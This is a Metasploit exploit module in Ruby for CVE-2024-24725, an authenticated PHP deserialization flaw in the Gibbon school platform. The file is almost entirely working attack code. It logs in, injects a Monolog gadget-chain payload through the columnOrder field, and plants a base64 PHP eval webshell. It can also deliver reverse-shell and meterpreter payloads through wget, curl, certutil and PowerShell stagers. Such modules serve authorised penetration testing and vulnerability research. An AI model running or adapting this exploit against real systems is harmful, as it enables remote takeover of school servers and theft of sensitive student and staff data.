## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Gibbon School Platform Authenticated PHP Deserialization Vulnerability', 'Description' => %q{ A Remote Code Execution vulnerability in Gibbon online school platform version 26.0.00 and lower allows remote authenticated users to conduct PHP deserialization attacks via columnOrder in a POST request to the endpoint `/modules/System%20Admin/import_run.php&type=externalAssessment&step=4`. As it allows remote code execution, adversaries could exploit this flaw to execute arbitrary commands, potentially resulting in complete system compromise, data exfiltration, or unauthorized access to sensitive information. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor 'Ali Maharramli', # SecondX.io Research Team - discovery of the vulnerability 'Fikrat Guliev', # SecondX.io Research Team - discovery of the vulnerability 'Islam Rzayev' # SecondX.io Research Team - discovery of the vulnerability ], 'References' => [ ['CVE', '2024-24725'], ['URL', 'https://attackerkb.com/topics/ogKGAB44BP/cve-2024-24725'], ['PACKETSTORM', '177635'], ['EDB', '51903'] ], 'DisclosureDate' => '2024-03-18', 'Platform' => ['php', 'unix', 'linux', 'win'], 'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X64, ARCH_X86], 'Privileged' => false, 'Targets' => [ [ 'PHP', { 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Type' => :php, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' } } ], [ 'Unix Command', { 'Platform' => ['unix', 'linux'], 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } } ], [ 'Linux Dropper', { 'Platform' => ['linux'], 'Arch' => [ARCH_X64, ARCH_X86], 'Type' => :linux_dropper, 'CmdStagerFlavor' => ['wget', 'curl', 'bourne', 'printf', 'echo'], 'Linemax' => 16384, 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } } ], [ 'Windows Command', { 'Platform' => 'win', 'Arch' => ARCH_CMD, 'Type' => :windows_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell/x64/meterpreter/reverse_tcp' } } ], [ 'Windows Dropper', { 'Platform' => 'win', 'Arch' => [ARCH_X64, ARCH_X86], 'Type' => :windows_dropper, 'Linemax' => 16384, 'CmdStagerFlavor' => ['psh_invokewebrequest', 'vbs', 'debug_asm', 'debug_write', 'certutil'], 'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' } } ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'SSL' => true, 'RPORT' => 443 }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options([ OptString.new('TARGETURI', [ true, 'The Gibbon online school platform endpoint URL', '/' ]), OptString.new('WEBSHELL', [false, 'Set webshell name without extension. Name will be randomly generated if left unset.', nil]), OptString.new('USERNAME', [true, 'Gibbon username to login, typically an e-mail address']), OptString.new('PASSWORD', [true, 'Password']) ]) end def gibbon_login # construct multipart login form data form_data = Rex::MIME::Message.new form_data.add_part('', nil, nil, 'form-data; name="address"') form_data.add_part('default', nil, nil, 'form-data; name="method"') form_data.add_part(datastore['USERNAME'].to_s, nil, nil, 'form-data; name="username"') form_data.add_part(datastore['PASSWORD'].to_s, nil, nil, 'form-data; name="password"') form_data.add_part('025', nil, nil, 'form-data; name="gibbonSchoolYearID"') form_data.add_part('0002', nil, nil, 'form-data; name="gibboni18nID"') return send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'login.php?timeout=true'), 'keep_cookies' => true, 'ctype' => "multipart/form-data; boundary=#{form_data.bound}", 'data' => form_data.to_s }) end def construct_form_data(payload) # construct multipart form data with payload payload_len = payload.length payload_data = "a:2:{i:7;O:32:\"Monolog\\Handler\\SyslogUdpHandler\":1:{s:9:\"\x00*\x00socket\";O:29:\"Monolog\\Handler\\BufferHandler\":7:{s:10:\"\x00*\x00handler\";r:3;s:13:\"\x00*\x00bufferSize\";i:-1;s:9:\"\x00*\x00buffer\";a:1:{i:0;a:2:{i:0;s:#{payload_len}:\"#{payload}\";s:5:\"level\";N;}}s:8:\"\x00*\x00level\";N;s:14:\"\x00*\x00initialized\";b:1;s:14:\"\x00*\x00bufferLimit\";i:-1;s:13:\"\x00*\x00processors\";a:2:{i:0;s:7:\"current\";i:1;s:6:\"system\";}}}i:7;i:7;}" form_data = Rex::MIME::Message.new form_data.add_part('/modules/System Admin/import_run.php', nil, nil, 'form-data; name="address"') form_data.add_part('sync', nil, nil, 'form-data; name="mode"') form_data.add_part('N', nil, nil, 'form-data; name="syncField"') form_data.add_part('', nil, nil, 'form-data; name="syncColumn"') form_data.add_part(payload_data.to_s, nil, nil, 'form-data; name="columnOrder"') form_data.add_part('N;', nil, nil, 'form-data; name="columnText"') form_data.add_part('%2C', nil, nil, 'form-data; name="fieldDelimiter"') form_data.add_part('%22', nil, nil, 'form-data; name="stringEnclosure"') form_data.add_part("#{Rex::Text.rand_text_alpha(8..16)}.xlsx", nil, nil, 'form-data; name="filename"') form_data.add_part('"External Assessment","Assessment Data","Student","Field Name","Category","Field Name","Result"', nil, nil, 'form-data; name="csvData"') form_data.add_part('1', nil, nil, 'form-data; name="ignoreErrors"') form_data.add_part('Submit', nil, nil, 'form-data; name="Failed"') return form_data end def upload_webshell(b64_payload) # randomize file name if option WEBSHELL is not set @webshell_name = (datastore['WEBSHELL'].blank? ? "#{Rex::Text.rand_text_alpha(8..16)}.php" : "#{datastore['WEBSHELL']}.php") # create webshell with base64 encoded PHP payload # works for both windows and linux targets php_payload = "echo \"<?php @eval(base64_decode(\'#{b64_payload}\'));?>\" > #{@webshell_name}" form_data = construct_form_data(php_payload) # upload webshell send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'index.php?q=/modules/System%20Admin/import_run.php&type=externalAssessment&step=4'), 'keep_cookies' => true, 'ctype' => "multipart/form-data; boundary=#{form_data.bound}", 'data' => form_data.to_s }) end def execute_php(cmd, _opts = {}) payload = Base64.strict_encode64(cmd) res = upload_webshell(payload) fail_with(Failure::PayloadFailed, 'Web shell upload error.') unless res && res.code == 200 register_file_for_cleanup(@webshell_name) # execute webshell send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, @webshell_name), 'keep_cookies' => true }) end def execute_command(cmd, _opts = {}) form_data = construct_form_data(cmd) send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'index.php?q=/modules/System%20Admin/import_run.php&type=externalAssessment&step=4'), 'keep_cookies' => true, 'ctype' => "multipart/form-data; boundary=#{form_data.bound}", 'data' => form_data.to_s }) end def check print_status("Checking if #{peer} can be exploited.") res = send_request_cgi!({ 'method' => 'GET', 'ctype' => 'application/x-www-form-urlencoded', 'uri' => normalize_uri(target_uri.path) }) return CheckCode::Unknown('No valid response received from target.') unless res && res.code == 200 # check if target is running the Gibbon online school platform # search for the Gibbon version on the login page return CheckCode::Safe('No Gibbon school platform found.') unless res.body.include?('Gibbon') # trying to get the version version = res.body.match(/Gibbon.*v(\d+\.\d+\.\d+)/) version_number = version[0].split('v') unless version.nil? if version_number if Rex::Version.new(version_number[1]) <= Rex::Version.new('26.0.00') return CheckCode::Appears("Gibbon v#{version_number[1]}") else return CheckCode::Safe("Gibbon v#{version_number[1]}") end end CheckCode::Detected end def exploit print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") res = gibbon_login fail_with(Failure::NoAccess, "Login failed with user #{datastore['USERNAME']} and password #{datastore['PASSWORD']}.") unless res && res.code == 302 case target['Type'] when :php execute_php(payload.encoded) when :unix_cmd, :windows_cmd execute_command(payload.encoded) when :linux_dropper, :windows_dropper # don't check the response here since the server won't respond # if the payload is successfully executed. execute_cmdstager({ linemax: target.opts['Linemax'] }) end end end